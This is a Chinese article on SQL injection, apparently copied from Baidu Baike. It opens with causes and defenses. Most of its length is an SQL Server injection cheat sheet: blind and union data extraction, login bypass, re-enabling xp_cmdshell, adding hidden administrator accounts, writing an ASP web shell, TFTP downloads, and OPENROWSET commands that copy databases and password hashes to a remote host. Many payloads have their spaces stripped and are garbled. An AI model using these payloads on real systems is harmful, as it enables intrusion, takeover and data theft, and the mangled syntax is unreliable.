网站安全之——sql注入

转自:http://baike.baidu.com/view/3896.htm

原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

攻击

当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。

防护

归纳一下,主要有以下几点:

1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和

双"-"进行转换等。

2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFTSCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

2注入方法

编辑

方法1

先猜表名

And(Selectcount(*)from表名)<>0

猜列名

And(Selectcount(列名)from表名)<>0

或者也可以这样

andexists(select*from表名)

andexists(select列名from表名)

返回正确的,那么写的表名或列名就是正确

这里要注意的是,exists这个不能应用于猜内容上,例如andexists(selectlen(user)fromadmin)>3这样是不行的

很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容

获得数据库连接用户名:;anduser>0

这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:

----------------------------------------------------------------------------------------------------------

"重点在anduser>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar转换int异常,XXXX不能转换成int"

-----------------------------------------------------------------------------------------------------------

看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and1=(selettop1userfromadmin),这种语句也是可以爆出来的。;anddb_name()>0则是暴数据库名。

一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是

Orderby10

And1=2unionselect1,2,3,4,5,6,7,8,9,10fromadmin

And1=2unionselect1,2,3,user,5,passwd,7,8,9,10fromadmin

上面的orderby10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名

反正就是返回正确即对,返回异常即错

另外还有十分常用的ascll码拆半法

先要知道指定列名,例如user里的内容的长度

and(selectlen(user)fromadmin)=2就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余

后面的逻辑符号可以根据不同要求更改的,

>;大于<;小于=就是等于咯,更新语句的话,=也可以表示传递符号<>;就是不等

知道了长度后就可以开始猜解了

And(Selecttop1asc(mid(user,n,1))fromadmin)>100

n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And(Selecttop1asc(mid(user,1,1))fromadmin)>100就是猜解user里内容的第一位的ASCLL字符是不是大于100

正确的话,那么表示USER第一个字符的ASCLL码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCLL转换器吧这个转换成普通字符就可以了

然后就是第二位And(Selecttop1asc(mid(user,2,1))fromadmin)>100一直猜下去

加在url后面,列名表名还是先猜解,返回正确的代表帐号的ascll码大于100,那么就再向前猜,直到报错,把猜出来的ascll码拿去ascll转换器转换就可以了,中文是负数,加上asb取绝对值

And(Selecttop1asb(asc(mid(user,n,1)))fromadmin)>15320

得到之后就记得在数字前加-号,不然ASCLL转换器转换不来的,中文在ASCLL码里是-23423这样的,所以猜起来挺麻烦

这个猜解速度比较慢,但是效果最好,最具有广泛性

方法2

后台身份验证绕过漏洞

验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误

例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是

user=request("user")

passwd=request("passwd")

sql='selectadminfromadminbatewhereuser='&'''&user&'''&'andpasswd='&'''&passwd&'''

那么我使用'or'a'='a来做用户名密码的话,那么查询就变成了

selectadminfromadminbatewhereuser=''or'a'='a'andpasswd=''or'a'='a'

这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是假or真and假or真,先算and再算or,最终结果为真,这样就可以进到后台了

这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似

sql="select*fromadminwhereusername='"&username&'&"passwd='"&passwd&'

如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。

第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了

方法3

防御方法

对于怎么防御SQL注入呢,这个网上很多,我这里讲几个

如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select;“”;from;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。

当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法

FunctionSafeRequest(ParaName,ParaType)

'---传入参数---

'ParaName:参数名称-字符型

'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

DimParaValue

ParaValue=Request(ParaName)

IfParaType=1then

IfnotisNumeric(ParaValue)then

Response.write"参数"&ParaName&"必须为数字型!"

Response.end

Endif

Else

ParaValue=replace(ParaValue,"'","''")

Endif

SafeRequest=ParaValue

Endfunction

然后就用SafeRequest()来过滤参数,检查参数是否为数字,不是数字的就不能通过。

小结

SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

3SQL注入技术

编辑

强制产生错误

对数据库类型、版本等信息进行识别是此类型攻击的动机所在。它的目的是收集数据库的类型、结构等信息为其他类型的攻击做准备,可谓是攻击的一个预备步骤。利用应用程序服务器返回的默认错误信息而取得漏洞信息。

采用非主流通道技术

除HTTP响应外,能通过通道获取数据,然而,通道大都依赖与数据库支持的功能而存在,所以这项技术不完全适用于所有的数据库平台。SQL注入的非主流通道主要有E-mail、DNS以及数据库连接,基本思想为:先对SQL查询打包,然后借助非主流通道将信息反馈至攻击者。

使用特殊的字符

不同的SQL数据库有许多不同是特殊字符和变量,通过某些配置不安全或过滤不细致的应用系统能够取得某些有用的信息,从而对进一步攻击提供方向。

使用条件语句

此方式具体可分为基于内容、基于时间、基于错误三种形式。一般在经过常规访问后加上条件语句,根据信息反馈来判定被攻击的目标。

利用存储过程

通过某些标准存储过程,数据库厂商对数据库的功能进行扩展的同时,系统也可与进行交互。部分存储过程可以让用户自行定义。通过其他类型的攻击收集到数据库的类型、结构等信息后,便能够建构执行存储过程的命令。这种攻击类型往往能达到远程命令执行、特权扩张、拒绝服务的目的。

避开输入过滤技术

虽然对于通常的编码都可利用某些过滤技术进行SQL注入防范,但是鉴于此种情况下也有许多方法避开过滤,一般可达到此目的的技术手段包括SQL注释和动态查询的使用,利用截断,URL编码与空字节的使用,大小写变种的使用以及嵌套剥离后的表达式等等。借助于此些手段,输入构思后的查询可以避开输入过滤,从而攻击者能获得想要的查询结果。

推断技术

能够明确数据库模式、提取数据以及识别可注入参数。此种方式的攻击通过网站对用户输入的反馈信息,对可注入参数、数据库模式推断,这种攻击构造的查询执行后获得的答案只有真、假两种。基于推断的注入方式主要分为时间测定注入与盲注入两种。前者是在注入语句里加入语句诸如“waitfor100”,按照此查询结果出现的时间对注入能否成功和数据值范围的推导进行判定;后者主要是“andl=l”、“andl=2”两种经典注入方法。这些方式均是对一些间接关联且能取得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行攻击。[1]

4SQL注入防范

编辑

了解了SQL注入的方法,如何能防止SQL注入?如何进一步防范SQL注入的泛滥?通过一些合理的操作和配置来降低SQL注入的危险。

使用参数化的过滤性语句

要防御SQL注入,用户的输入就绝对不能直接被嵌入到SQL语句中。恰恰相反,用户的输入必须进行过滤,或者使用参数化的语句。参数化的语句使用参数而不是将用户输入嵌入到语句中。在多数情况中,SQL语句就得以修正。然后,用户输入就被限于一个参数。

输入验证

检查用户输入的合法性,确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行之所以要执行服务器端验证,是为了弥补客户端验证机制脆弱的安全性。

在客户端,攻击者完全有可能获得网页的源代码,修改验证合法性的脚本(或者直接删除脚本),然后将非法内容通过修改后的表单提交给服务器。因此,要保证验证操作确实已经执行,唯一的办法就是在服务器端也执行验证。你可以使用许多内建的验证对象,例如RegularExpressionValidator,它们能够自动生成验证用的客户端脚本,当然你也可以插入服务器端的方法调用。如果找不到现成的验证对象,你可以通过CustomValidator自己创建一个。

错误消息处理

防范SQL注入,还要避免出现一些详细的错误消息,因为黑客们可以利用这些消息。要使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。

加密处理

将用户登录名称、密码等数据加密保存。加密用户输入的数据,然后再将它与数据库中保存的数据比较,这相当于对用户输入的数据进行了“消毒”处理,用户输入的数据不再对数据库有任何特殊的意义,从而也就防止了攻击者注入SQL命令。

存储过程来执行所有的查询

SQL参数的传递方式将防止攻击者利用单引号和连字符实施攻击。此外,它还使得数据库权限可以限制到只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。

使用专业的漏洞扫描工具

攻击者们目前正在自动搜索攻击目标并实施攻击,其技术甚至可以轻易地被应用于其它的Web架构中的漏洞。企业应当投资于一些专业的漏洞扫描工具,如大名鼎鼎的Acunetix的Web漏洞扫描程序等。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找网站上的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。

确保数据库安全

锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限,撤销不必要的公共许可,使用强大的加密技术来保护敏感数据并维护审查跟踪。如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限,那么就禁止它对此表的drop、insert、update、delete的权限,并确保数据库打了最新补丁。

安全审评

在部署应用系统前,始终要做安全审评。建立一个正式的安全过程,并且每次做更新时,要对所有的编码做审评。开发队伍在正式上线前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关,“就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。[2]

5语句特征

编辑

1.判断有无注入点

;and1=1and1=2

2.猜表一般的表的名称无非是adminadminuseruserpasspassword等..

and0<>(selectcount(*)from*)

and0<>(selectcount(*)fromadmin)---判断是否存在admin这张表

3.猜帐号数目如果遇到0<返回正确页面,1<返回错误页面,说明帐号数目就是1个

and0<(selectcount(*)fromadmin)

and1<(selectcount(*)fromadmin)

4.猜解字段名称在len()括号里面加上我们想到的字段名称.

and1=(selectcount(*)fromadminwherelen(*)>0)--

and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)

and1=(selectcount(*)fromadminwherelen(密码字段名称password)>0)

5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止

and1=(selectcount(*)fromadminwherelen(*)>0)

and1=(selectcount(*)fromadminwherelen(name)>6)错误

and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6

and1=(selectcount(*)fromadminwherelen(name)=6)正确

and1=(selectcount(*)fromadminwherelen(password)>11)正确

and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12

and1=(selectcount(*)fromadminwherelen(password)=12)正确

6.猜解字符

and1=(selectcount(*)fromadminwhereleft(name,1)=a)---猜解用户帐号的第一位

and1=(selectcount(*)fromadminwhereleft(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)--

这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

groupbyusers.idhaving1=1--

groupbyusers.id,users.username,users.password,users.privshaving1=1--

;insertintousersvalues(666,attacker,foobar,0xffff)--

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintable-

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN

(login_id)-

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN

(login_id,login_name)-

UNIONSELECTTOP1login_nameFROMlogintable-

UNIONSELECTTOP1passwordFROMlogintablewherelogin_name=Rahul--

看服务器打的补丁=出错了打了SP4补丁

and1=(select@@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

and1=(SELECTIS_SRVROLEMEMBER(sysadmin))--

判断连接数据库帐号。(采用SA账号连接返回正常=证明了连接账号是SA)

andsa=(SELECTSystem_user)--

anduser_name()=dbo--

and0<>(selectuser_name()--

看xp_cmdshell是否删除

and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)--

xp_cmdshell被删除,恢复,支持绝对路径的恢复

;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll--

;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;usemaster;declare@sint;execsp_oacreate"wscript.shell",@sout;execsp_oamethod@s,"run",NULL,"cmd.exe/cping192.168.0.1";--

加帐号

;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:\WINNT\system32\cmd.exe

/cnetuserjiaoniang$1866574/add--

创建一个虚拟目录E盘:

;declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs-w"默认Web站点"-v"e","e:\"--

访问属性:(配合写入一个webshell)

declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse

爆库特殊技巧::%5c=\或者把/和\修改%5提交

and0<>(selecttop1pathsfromnewtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)

and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)--

and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)

依次提交dbid=7,8,9....得到更多的数据库名

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为admin

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin))来得到其他的表。

and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=admin

anduid>(str(id)))暴到UID的数值假设为18779569uid=id

and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_id

and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin

(id,...))来暴出其他的字段

and0<(selectuser_idfromBBS.dbo.adminwhereusername>1)可以得到用户名

依次可以得到密码。假设存在user_idusername,password等字段

and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address))

and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid>(str(id)))判断id值

and0<>(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段

id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin

id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)

得到WEB路径

;createtable[dbo].[swap]([swappass][char](255));--

and(selecttop1swappassfromswap)=1--

;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread

@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_name=/,

values=@testOUTPUTinsertintopaths(path)values(@test)--

;useku1;--

;createtablecmd(strimage);--建立image类型的表cmd

存在xp_cmdshell的测试过程:

;execmaster..xp_cmdshelldir

;execmaster.dbo.sp_addloginjiaoniang$;--加SQL帐号

;execmaster.dbo.sp_passwordnull,jiaoniang$,1866574;--

;execmaster.dbo.sp_addsrvrolememberjiaoniang$sysadmin;--

;execmaster.dbo.xp_cmdshellnetuserjiaoniang$1866574/workstations:*/times:all/passwordchg:yes/passwordreq:yes

/active:yes/add;--

;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsjiaoniang$/add;--

execmaster..xp_servicecontrolstart,schedule启动服务

execmaster..xp_servicecontrolstart,server

;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:\WINNT\system32

\cmd.exe/cnetuserjiaoniang$1866574/add

;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:\WINNT\system32\cmd.exe

/cnetlocalgroupadministratorsjiaoniang$/add

;execmaster..xp_cmdshelltftp-iyouipgetfile.exe--利用TFTP上传文件

;declare@asysnameset@a=xp_+cmdshellexec@adirc:\

;declare@asysnameset@a=xp+_cm’+’dshellexec@adirc:\

;declare@a;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目录bak.dat

如果被限制则可以。

select*fromopenrowset(sqloledb,server;sa;,selectOK!execmaster.dbo.sp_addloginhax)

查询构造:

SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....

adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass<>

select123;--

;usemaster;--

:aornamelikefff%;--显示有一个叫ffff的用户哈。

and1<>(selectcount(email)from[user]);--

;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus>0)wherename=ffff;--

;update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;--

;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid>581577110)wherename=ffff;--

;update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;--

;update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;--

;update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;--

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID得到第二个表的名字

insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char

(0x69)+char(0x73),0xffff)--

insertintousersvalues(667,123,123,0xffff)--

insertintousersvalues(123,admin--,password,0xffff)--

;anduser>0

;and(selectcount(*)fromsysobjects)>0

;and(selectcount(*)frommysysobjects)>0//为access数据库

枚举出数据表名

;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上andname<>;刚才得到的表名)。

;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0andname<>vote);--

然后id=1552andexists(select*fromaaawhereaaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;updateaaasetaaa=(selecttop1col_name(object_id(表名),1));--

然后id=152andexists(select*fromaaawhereaaa>5)出错,得到字段名

;updateaaasetaaa=(selecttop1col_name(object_id(表名),2));--

然后id=152andexists(select*fromaaawhereaaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname<>;你得到的表名查出一个加一个])

[where条件]selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin(table1,table2,…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:1)[where条件]

绕过IDS的检测[使用变量]

;declare@asysnameset@a=xp_+cmdshellexec@adirc:\

;declare@asysnameset@a=xp+_cm’+’dshellexec@adirc:\

开启远程数据库

基本语法

select*fromOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select*fromtable1)

参数:(1)OLEDBProvidername

其中连接字符串参数可以是任何端口用来连接,比如

select*fromOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable

复制目标主机的整个数据库insert所有远程表到本地表。

基本语法:

insertintoOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select*fromtable1)select*fromtable2

这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable1)select*from

table2

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_sysdatabases)

select*frommaster.dbo.sysdatabases

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_sysobjects)

select*fromuser_database.dbo.sysobjects

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_syscolumns)

select*fromuser_database.dbo.syscolumns

复制数据库:

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable1)select*fromdatabase..table1insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*fromtable2)select*fromdatabase..table2

复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from_sysxlogins)select

*fromdatabase.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法:先创建一个临时表:temp

;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--

;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器

;insertintotemp(id)execmaster.dbo.xp_subdirsc:\;--获得子目录列表

;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:\;--获得所有子目录的目录树结构,并寸入temp表中

;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:\web\index.asp;--查看某个文件的内容

;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:\;--

;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:\*.asp/s/a;--

;insertintotemp(id)execmaster.dbo.xp_cmdshellcscript.C:\Inetpub\AdminScripts\adsutil.vbsenumw3svc

;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:\;--(xp_dirtree适用权限PUBLIC)

写入表:

语句1:and1=(SELECTIS_SRVROLEMEMBER(sysadmin));--

语句2:and1=(SELECTIS_SRVROLEMEMBER(serveradmin));--

语句3:and1=(SELECTIS_SRVROLEMEMBER(setupadmin));--

语句4:and1=(SELECTIS_SRVROLEMEMBER(securityadmin));--

语句5:and1=(SELECTIS_SRVROLEMEMBER(securityadmin));--

语句6:and1=(SELECTIS_SRVROLEMEMBER(diskadmin));--

语句7:and1=(SELECTIS_SRVROLEMEMBER(bulkadmin));--

语句8:and1=(SELECTIS_SRVROLEMEMBER(bulkadmin));--

语句9:and1=(SELECTIS_MEMBER(db_owner));--

把路径写到表中去:

;createtabledirs(pathsvarchar(100),idint)--

;insertdirsexecmaster.dbo.xp_dirtreec:\--

and0<>(selecttop1pathsfromdirs)--

and0<>(selecttop1pathsfromdirswherepathsnotin(@Inetpub))--

;createtabledirs1(pathsvarchar(100),idint)--

;insertdirsexecmaster.dbo.xp_dirtreee:\web--

and0<>(selecttop1pathsfromdirs1)--

把数据库备份到网页目录:下载

;declare@asysname;set@a=db_name();backupdatabase@atodisk=e:\web\down.bak;--

and1=(Selecttop1namefrom(Selecttop12id,namefromsysobjectswherextype=char(85))Torderbyiddesc)

and1=(SelectTop1col_name(object_id(USER_LOGIN),1)fromsysobjects)参看相关表。

and1=(selectuser_idfromUSER_LOGIN)

and0=(selectuserfromUSER_LOGINwhereuser>1)

-=-wscript.shellexample-=-

declare@oint

execsp_oacreatewscript.shell,@oout

execsp_oamethod@o,run,NULL,notepad.exe

;declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,notepad.exe--

declare@oint,@fint,@tint,@retint

declare@linevarchar(8000)

execsp_oacreatescripting.filesystemobject,@oout

execsp_oamethod@o,opentextfile,@fout,c:\boot.ini,1

exec@ret=sp_oamethod@f,readline,@lineout

while(@ret=0)

begin

print@line

exec@ret=sp_oamethod@f,readline,@lineout

end

declare@oint,@fint,@tint,@retint

execsp_oacreatescripting.filesystemobject,@oout

execsp_oamethod@o,createtextfile,@fout,c:\inetpub\wwwroot\foo.asp,1

exec@ret=sp_oamethod@f,writeline,NULL,

<%seto=server.createobject("wscript.shell"):o.run(request.querystring("cmd"))%>

declare@oint,@retint

execsp_oacreatespeech.voicetext,@oout

execsp_oamethod@o,register,NULL,foo,bar

execsp_oasetproperty@o,speed,150

execsp_oamethod@o,speak,NULL,allyoursequelserversarebelongto,us,528waitfordelay00:00:05

;declare@oint,@retintexecsp_oacreatespeech.voicetext,@ooutexecsp_oamethod@o,register,NULL,foo,barexec

sp_oasetproperty@o,speed,150execsp_oamethod@o,speak,NULL,allyoursequelserversarebelongtous,528waitfordelay00:00:05--

xp_dirtree适用权限PUBLIC

execmaster.dbo.xp_dirtreec:\

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

createtabledirs(pathsvarchar(100),idint)

建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

insertdirsexecmaster.dbo.xp_dirtreec:\

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果.

参考资料

1.SQL注入的攻击分析与防范.数字制造网[引用日期2013-04-15].

2.浅谈SQL注入攻击的方法及其防范.数字制造网[引用日期2013-04-17].